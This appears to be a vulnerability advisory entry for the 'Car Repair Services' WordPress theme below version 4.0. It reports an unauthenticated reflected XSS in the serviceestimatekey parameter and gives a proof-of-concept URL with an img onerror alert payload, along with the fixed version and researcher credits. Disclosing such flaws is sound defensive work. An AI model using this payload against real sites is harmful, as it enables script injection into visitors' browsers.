Themes Vulnerabilities
Car Repair Services < 4.0 - Unauthenticated Reflected XSS & XFS
Description
The theme did not properly sanitise its serviceestimatekey search parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting issue
Proof of Concept
https://smartdata.tonytemplates.com/car-repair-service-v4/car1/estimateresult/result?s=&serviceestimatekey=<img+src%3Dx+onerror%3Dalert(`m0ze`)%3B>
Affects Themes
Fixed in version 4.0
References
Classification
Miscellaneous
Original Researcher
m0ze
Submitter
m0ze
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-05-17 (about 1 years ago)
Added
2021-05-17 (about 1 years ago)
Last Updated
2021-05-18 (about 1 years ago)